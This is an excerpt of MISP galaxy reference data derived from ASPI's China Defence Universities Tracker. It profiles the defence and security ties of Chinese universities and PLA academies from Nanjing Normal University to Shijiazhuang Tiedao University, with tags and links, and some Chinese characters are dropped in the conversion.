Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence. Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (警用地理信息技 公安部重点 室), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ ( GIS技 室) in April 2012. Nanjing Normal University has a close relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Normal University (南京 大学)"*

## Nanjing Tech University (南京工 大学)

In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university’s involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects. NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office ( 工科研 公室) within its Depart of Scientific of Research. This office is responsible for the university’s defence-related research and coordination. NJTTech’s School of Materials Science and Engineering (材料科学与工程学院) has previously worked on defence-related projects. The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: *misp-galaxy:china-defence-universities="Nanjing Tech University (南京工 大学)"*

Table 648. Table References

<a href="https://unitracker.aspi.org.au/universities/nanjing-tech-university">https://unitracker.aspi.org.au/universities/nanjing-tech-university</a>

## Nanjing University (南京大学)

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research. In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu's MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel's first research center focusing on AI in China. The university's rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii 科技. Megvii has been blacklisted by the US government over human rights abuses.

The tag is: *misp-galaxy:china-defence-universities="Nanjing University (南京大学)"*

Table 649. Table References

<a href="https://unitracker.aspi.org.au/universities/nanjing-university">https://unitracker.aspi.org.au/universities/nanjing-university</a>

## Nanjing University of Aeronautics and Astronautics (南京航空航天大学)

NUAA is one of the 'Seven Sons of National Defence' subordinate to the Ministry of Industry and Information Technology. NUAA specialises in aerospace research and works closely with the Chinese military as well as civilian and military aviation companies, including military aircraft manufacturers AVIC and AECC. 21% of the university's graduates in 2018 who found employment were working in the defence sector. The university claims to have participated in nearly all major national aviation projects, including the development of the Chang'e 3 unmanned lunar explorer. NUAA hosts China's only national defence laboratory for helicopter technology. NUAA has attracted controversy for its alleged involvement in the Ministry of State Security's efforts to steal US aviation technology.

## Nanjing University of Science and Technology (南京理工大学)

NJUST is one of the ‘Seven Sons of National Defence’ administered by the Ministry of Industry and Information Technology. Together with Beijing Institute of Technology, it was ranked as China’s top university for armaments science in 2017. Roughly 16% of the university’s graduates in 2018 who found employment were working in the defence sector. NJUST is a member of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions specialising in weapons science—the ‘B’ in ‘B8’ stands for Chinese word for armaments, bingqi (兵器). Indicative of the university’s high level of involvement in defence research, in 2013 a disused laboratory on its campus exploded, killing one, after workers disturbed a cache of explosives. NJUST has a collaborative relationship with a PLA signals intelligence research institute, involving cooperation on unmanned combat platforms and information security.

## National Defense University (中国人民解放 国防大学)

NDU is the PLA’s ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong’s peasant-led red army in 1927. The university is devoted to training the PLA’s officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National

University of Defense Technology.

The tag is: *misp-galaxy:china-defence-universities="National Defense University (中国人民解放军国防大学)"*

Table 653. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/national-defense-university">https://unitracker.aspi.org.au/universities/national-defense-university</a>

## National University of Defense Technology (中国人民解放军 国防科技大学)

In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi'an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers. NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic missiles and China's Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world's fastest supercomputer from 2013 to 2016. NUDT's Tianhe-1A supercomputer is based at Hunan University's National Supercomputing Center Changsha (国家超算沙中心). For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute's International Cyber Policy Centre's October 2018 report 'Picking flowers, making honey: The Chinese military's collaboration with foreign universities' documented and analysed NUDT's overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT's leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad. Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT's 'Intelligence Center' sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China's overseas intelligence activity. NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

## Naval Command College (中国人民解放军 海 指 学院)

The Naval Command College is an institution that provides education and training for naval officers in a variety of disciplines such as military thought, strategic studies, intelligence training

and political work along with military operations, tactics and campaigns. The college plays a crucial role in improving the quality of PLA Navy personnel, as well as providing combined arms training for mid-career political commissars, logistics officers and equipment officers. The college serves to improve strategic and tactical thinking in the PLA Navy by hosting the Naval Campaigns and Tactics Center Laboratory (海 役 中心 室) and producing research that looks at operationalising new training and command systems. It is the PLA-N's last remaining command academic institution.

The tag is: *misp-galaxy:china-defence-universities="Naval Command College (中国人民解放军 海 指 学院)"*

## Naval Research Academy (中国人民解放军 海 研究院)

The Naval Research Academy was established in July 2017 following Xi Jinping's military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering. The Naval Research Academy actively collaborates with civilian universities as part of China's military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi'an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying 'very close attention to this co-operation with Xi'an Jiaotong University' in the development and sustainment of naval equipment. The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion. The Naval Research Academy's involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research

Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (水声技 国防科技重点 室) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (海洋信息 取与安全工 和信息化部重点 室) of Harbin Engineering University (HEU). The Naval Research Academy's Liu Qingyu (清宇) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference. Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which 'elaborated on some of the problems facing the national coastal defence industry' and 'suggested areas for future research into marine acoustics.' Both students and academics from NPU attended Liu's presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.

## Naval University of Engineering (中国人民解放军 海 工程大学)

NUE is one of the PLA's five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare. The university is home to two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (船 合 力技 国防科技重点 室), which was established in 2010 to carry out 'indigenous research and development' into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation's (CSIC) 712th Research Institute. Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as 'the father of China's electromagnetic catapult system' (中国 磁 射之父) by official Chinese media sources. NUE's National Defense Technology Key Laboratory of Marine Vibration and Noise (船舶振 噪声国防科技重点 室) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC's 701st Research Institute, also known as China Ship Development and Design Center (中国 船研究 中心). Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (船核 力工程 重点 室). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines. Academic departments at the Naval University of Engineering include:

The tag is: *misp-galaxy:china-defence-universities="Naval University of Engineering (中国人民解放军 海 工程大学)"*

Table 658. Table References

Links

<https://unitracker.aspi.org.au/universities/naval-university-of-engineering>

## Navy Aviation University (中国人民解放军 海 航空大学)

The Navy Aviation University was established upon the merger of the Naval Aviation Pilot Academy and the Naval Aviation Engineering University during Xi Jinping's military reforms in 2017. The university conducts research into missile engineering, electrical engineering and automation, navigation engineering as well as air station management engineering and flight vehicle design engineering. Academic articles published by the university have looked at topics such as the PLA-N's combat system capability and naval aviation management systems.

The tag is: *misp-galaxy:china-defence-universities="Navy Aviation University (中国人民解放军 海 航空大学)"*

Table 659. Table References

Links

<https://unitracker.aspi.org.au/universities/navy-aviation-university>

## Navy Logistics Academy (中国人民解放军 海 勤 学院)

The Navy Logistics Academy is an institution devoted to training naval cadets and officers specialising in logistics. The academy's core training and research focuses on military studies, management science and economics, while specialist lines of research include logistics command management and military financial auditing. The Center for Naval Analyses (CNA) in Arlington, Virginia have noted that entry into the academy tends to occur at the mid-career level for officers in the PLA-N.

The tag is: *misp-galaxy:china-defence-universities="Navy Logistics Academy (中国人民解放军 海 勤 学院)"*

Table 660. Table References

Links

<https://unitracker.aspi.org.au/universities/navy-logistics-academy>

## Navy Medical University (中国人民解放军 海 医大学)

The PLA Navy Medical University, formerly known as the Second Military Medical University, was established in 1951 as a university focussed on medical research for the Chinese military.

The tag is: *misp-galaxy:china-defence-universities="Navy Medical University (中国人民解放军 海 医大学)"*

Table 661. Table References

Links

<https://unitracker.aspi.org.au/universities/navy-medical-university>

## Navy Submarine Academy (中国人民解放军 海 潜艇学院)

The Navy Submarine Academy is responsible for the training of submariners to crew its conventionally and nuclear-powered submarines. The academy focuses its research on subjects such as electrical and information engineering, combat simulation, underwater acoustic engineering and navigation technology along with weapons systems and launch engineering and underwater ordnance technology. The academy also offers programs in combat tactics and the underwater combat environment. The Navy Submarine Academy pursues research that may contribute to Chinese anti-submarine warfare capabilities through the Underwater Operational Environment Military Key Laboratory (水下作 境 重点 室). The academy also oversees part of the The publication record of researchers from the Navy Submarine Academy also suggests a strong interest in foreign developments in undersea warfare systems. In 2018, the Navy Submarine Academy signed a cooperative agreement with Harbin Engineering University (HEU). The agreement is directed at promoting research collaboration in subjects such as big data fusion, intelligent navigation, underwater acoustic target recognition, and underwater unmanned intelligent control systems.

The tag is: *misp-galaxy:china-defence-universities="Navy Submarine Academy (中国人民解放军 海 潜艇学院)"*

Table 662. Table References

<https://unitracker.aspi.org.au/universities/navy-submarine-academy>

## North China Institute of Aerospace Engineering (北 航天工 学院)

NCIAE specialises aerospace technology and engineering. The university is primarily run by the Hebei Provincial Government, together with the State Administration of Science, Technology and Industry for National Defense, China Aerospace Science and Technology Corporation (CASC), and China Aerospace Science and Industry Corporation (CASIC). NCIAE appears to be a major training center for CASC and CASIC, state-owned defence conglomerates that dominate China's missile and satellite sector. NCIAE runs at least two research and development centres with CASC and was involved in the development of the Shenzhou spacecraft, Long March rockets and the DFH-5 satellite platform. In 2003, the Hebei Provincial Government, CASC and CASIC signed an agreement to jointly support NCIAE (pictured below, courtesy of NCIAE).

The tag is: *misp-galaxy:china-defence-universities="North China Institute of Aerospace Engineering (北 航天工 学院)"*

Table 663. Table References

Links

## North China University of Science and Technology ( 北理工大学)

NCST was founded in 2010 and focuses on metallurgy and materials science. The university engages in growing levels of defence research since coming under the supervision of defence industry agency SASTIND in 2013. 'Military-use critical materials' has been designated as a key defence research area at NCST.

The tag is: *misp-galaxy:china-defence-universities="North China University of Science and Technology ( 北理工大学)"*

Table 664. Table References

Links

<https://unitracker.aspi.org.au/universities/north-china-university-of-science-and-technology>

## North University of China (中北大学)

NUC is a civilian university that specialises in defence research. It is jointly administered by the Shanxi Provincial Government and defence industry agency SASTIND. The university traces its roots back to an ordnance school established by the Eighth Route Army in 1941, and defence research is central to its identity. According to NUC's website, 'Our university has long established excellent and cooperative relationships with Central Military Commission departments, SASTIND, Norinco Group, China South Industries Group, China Aerospace Science and Technology Group, China Aerospace Science and Industry Group, and our graduates are spread across different areas in defence industry.' Approximately 2000 of its graduates enter the defence industry each year. NUC specialises in testing and developing weapons, including tanks, missiles and explosives. Its Underground Target Damage Technology National Defense Key Subject Laboratory reportedly runs the only underground shooting range in a Chinese university. The university is a member of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in armament science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (兵器).

The tag is: *misp-galaxy:china-defence-universities="North University of China (中北大学)"*

Table 665. Table References

Links

<https://unitracker.aspi.org.au/universities/north-university-of-china>

## Northeastern University ( 北大学)

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology. NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it

to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research. In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (沈 机 研究所 同 新 盟), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (国防科技 展研究院). In 2019, the institute's senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

The tag is: *misp-galaxy:china-defence-universities="Northeastern University ( 北大学)"*

Table 666. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/northeastern-university">https://unitracker.aspi.org.au/universities/northeastern-university</a>

## Northwest Institute of Nuclear Technology (西北核技 研究所)

NINT is one of China's main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China's only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry. NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi'an Jiaotong University.

The tag is: *misp-galaxy:china-defence-universities="Northwest Institute of Nuclear Technology (西北核技 研究所)"*

Table 667. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/northwest-institute-of-nuclear-technology">https://unitracker.aspi.org.au/universities/northwest-institute-of-nuclear-technology</a>

## Northwestern Polytechnical University (西北工 大学)

The university is one of the 'Seven Sons of National Defence' subordinate to MIIT. It is heavily engaged in military research, describing itself as 'devoted to improving and serving the national defence science and technology industry.' NWPU's research focuses on aviation, space and naval technology. Between 2014 and 2018, the university's School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector. NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs through its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company's largest customer and the company once claimed to produce 90% of China's drones. The university

has close ties to state-owned shipbuilding and aerospace conglomerates.

<a href="https://unitracker.aspi.org.au/universities/northwestern-polytechnical-university">https://unitracker.aspi.org.au/universities/northwestern-polytechnical-university</a>

## Officers College of the PAP (中国人民武装警察部 警官学院)

The Officers College of the PAP was established as an institution devoted to training officers of China's paramilitary service in command and engineering disciplines. The college's research focusses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering. The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan. The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

## Peking University (北京大学)

PKU is considered among China's most prestigious universities with a storied history. It is ranked as one of China's top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC's educational initiatives, including as a Class A institution under the Double First-Class University program. PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university's involvement in defence research. PKU's Advanced Technology Institute was founded in 2006 to oversee and develop the university's defence research. Includes several research centres and supervises the university's four major defence laboratories. The institute's research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors. In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China's nuclear weapons program—established the PKU-CAEP New Structure Center for Applied Physics and Technology (北京大学-中国工程物理研究院新体制 用物理与技 研究中心).. The institution was founded on the basis of the PKU Center for Applied Physics and Technology (北京大学 用物理与技 研究中心) established with CAEP in 2007. The joint centre carries out research on materials, lasers for atomic physics applications, laser plasma physics, computer science and fluid dynamics. PKU's report on the centre notes that it will serve China's national defence needs and that CAEP's deputy director emphasised it should 'take the path of military-civil fusion'. The joint centre's honorary director and founding director, He Xiantu, is credited as the developer of China's first neutron bomb. PKU takes precautions for the protection of classified information. The university has an office devoted to the secure handling of classified information, hosting regular meetings and training sessions to strengthen the university's security culture. In 2006, the university received security credentials for participation in classified defence research.

The tag is: *misp-galaxy:china-defence-universities="Peking University (北京大学)"*

## People's Armed Police Command College (中国人民武装警察指 学院)

The PAP Command College is an institution devoted to training officers in China's paramilitary service, the People's Armed Police, that was established in 1984. The college's key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program. Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college's Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: *misp-galaxy:china-defence-universities="People's Armed Police Command College"*

(中国人民武装警察指 学院)"

Table 672. Table References

## People's Public Security University of China (中国人民公安大学)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master's and bachelor's degree programs. In 1998, it was merged with the Chinese People's Police University (中国人民警官大学). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Public Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and Technology School, Information Technology and Network Security School, and a Traffic Management School. PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory. The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.

The tag is: *misp-galaxy:china-defence-universities="People's Public Security University of China (中国人民公安大学)"*

Table 673. Table References

<a href="https://unitracker.aspi.org.au/universities/peoples-public-security-university-of-china">https://unitracker.aspi.org.au/universities/peoples-public-security-university-of-china</a>

## Railway Police College ( 道警察学院)

The Railway Police College is China's only institution of higher learning devoted to training specialists responsible for securing the Chinese railway network. In 2017, the college graduated over 1,000 personnel trained in disciplines such as surveillance studies, political security studies and safety management studies.

The tag is: *misp-galaxy:china-defence-universities="Railway Police College ( 道警察学院)"*

Table 674. Table References

Links

<https://unitracker.aspi.org.au/universities/railway-police-college>

## Renmin University (人民大学)

Renmin University is subordinate to the Ministry of Education and also supported by the Beijing Municipal Government. Its focus is in the humanities and social sciences. Although the university does not appear to have ties with the national defense industry, it was placed on the US Government's Unverified List in April 2019, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Renmin University (人民大学)"*

Table 675. Table References

Links

<https://unitracker.aspi.org.au/universities/renmin-university>

## Rocket Force Command College (中国人民解放军 火箭指 学院)

The Rocket Force Command College is the PLA's premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Command College (中国人民解放军 火箭指 学院)"*

Table 676. Table References

Links

<https://unitracker.aspi.org.au/universities/rocket-force-command-college>

## Rocket Force Research Institute (中国人民解放军 火箭 研究院)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (火箭 装 研究院) and the Rocket Force Equipment Academy (火箭 装 研究院). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Research Institute (中国人民解放军火箭研究院)"*

Table 677. Table References

Links

<https://unitracker.aspi.org.au/universities/rocket-force-research-institute>

## Rocket Force Sergeant School (中国人民解放军火箭士官学校)

The Rocket Force Officer College is an institution devoted to training military personnel for China's tactical and strategic missile forces that was established after Xi Jinping's military reforms in 2017. The college's focus is on providing technical training to personnel in the PLARF's missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Sergeant School (中国人民解放军火箭士官学校)"*

Table 678. Table References

Links

<https://unitracker.aspi.org.au/universities/rocket-force-sergeant-school>

## Rocket Force University of Engineering (中国人民解放军火箭工程大学)

RFUE is the PLA strategic missile force's leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force. Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (导弹测试与控制虚拟现实教学中心). The university's key areas of research include:

Table 679. Table References

Links

<https://unitracker.aspi.org.au/universities/rocket-force-university-of-engineering>

## Shandong University (山东大学)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities' involvement in defence

research and training. SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province's 10 outstanding defence industry units. SDU collaborates with the Chinese Academy of Engineering Physics, China's nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

Table 680. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/shandong-university">https://unitracker.aspi.org.au/universities/shandong-university</a>

## Shandong University of Technology (山东理工大学)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT's involvement in defence research and links to the defence industry will grow in coming years. SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

The tag is: *misp-galaxy:china-defence-universities="Shandong University of Technology (山东理工大学)"*

Table 681. Table References

<a href="https://unitracker.aspi.org.au/universities/shandong-university-of-technology">https://unitracker.aspi.org.au/universities/shandong-university-of-technology</a>

## Shanghai Jiao Tong University (上海交通大学)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a 'joint construction' agreement between the MOE and SASTIND. The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University. One of the university's strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a

cyber espionage unit that has been implicated in cyber attacks on the United States. SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (高新船舶与深海 装 同 新中心), where it has contributed to assisting the PLA Navy's transition to offshore defense operations.

The tag is: *misp-galaxy:china-defence-universities="Shanghai Jiao Tong University (上海交通大学)"*

Table 682. Table References

<a href="https://unitracker.aspi.org.au/universities/shanghai-jiaotong-university">https://unitracker.aspi.org.au/universities/shanghai-jiaotong-university</a>

## Shanghai University (上海大学)

SHU is engaged in growing levels of defence research. In 2016, the Shanghai Municipal Government and defence industry agency SASTIND agreed to jointly supervise and support its participation in defence research. Shanghai University has begun building up its capability in defence research in areas such as unmanned surface vehicles, materials for missiles, and microwave technology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. Shanghai University's Research Institute of Unmanned Surface Vehicle Engineering researches and produces unmanned surface vessels, some of which are for the China Maritime Safety Administration.

Table 683. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/shanghai-university">https://unitracker.aspi.org.au/universities/shanghai-university</a>

## Shenyang Aerospace University (沈 航空航天大学)

SAU is the only university formally under the supervision of China's military aircraft manufacturer, AVIC. SAU engages in high levels of defence research and describes itself as a base for training talent in national defence science and technology. Serving China's military aviation industry is what SAU refers to as its 'glorious tradition'. Many of China's military aircraft are designed and built in Shenyang, which is home to AVIC subsidiaries Shenyang Aircraft Design Institute and Shenyang Aircraft Corporation. SAU and AVIC work closely together, including through a joint research institute.

Table 684. Table References

Links
-------

## Shenyang Ligong University (沈 理工大学)

SYLU is a civilian university that specialises in defence research. The university's primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi'an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND. SYLU is a member of the B8 Cooperation Innovation Alliance (B8 同新盟 or 中国兵器同新盟), a group of eight Chinese research institutions that specialize in armament science—the 'B' in 'B8' stands for the Chinese word for armaments, bingqi (兵器). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (军民融合(兵工)校企盟) and SYLU's president doubles as chairman of the alliance. This indicates close ties between SYLU and China's arms industry.

The tag is: *misp-galaxy:china-defence-universities="Shenyang Ligong University (沈 理工大学)"*

Table 685. Table References

Links

<https://unitracker.aspi.org.au/universities/shenyang-ligong-university>

## Shenzhen University (深 大学)

SZU is the primary university in China's rapidly growing technology hub, Shenzhen. The university does not appear to engage in high levels of defence research outside of its national defence laboratory on automatic target recognition. The laboratory was founded in 2001, is overseen by the PLA and SASTIND, and is headed by the university's former president.

The tag is: *misp-galaxy:china-defence-universities="Shenzhen University (深 大学)"*

Table 686. Table References

Links

<https://unitracker.aspi.org.au/universities/shenzhen-university>

## Shijiazhuang Tiedao University (石家庄 道大学)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College. Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university's involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research. STDU is home to the National Defense Transportation Research Institute (国防交通研究所), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (与可化研究所), which develops

military-use information processing software including remote-control systems for aerospace applications.

The tag is: *misp-galaxy:china-defence-universities="Shijiazhuang Tiedao University (石家庄 道大学)"*

Table 687. Table References

## Sichuan University (四川大学)

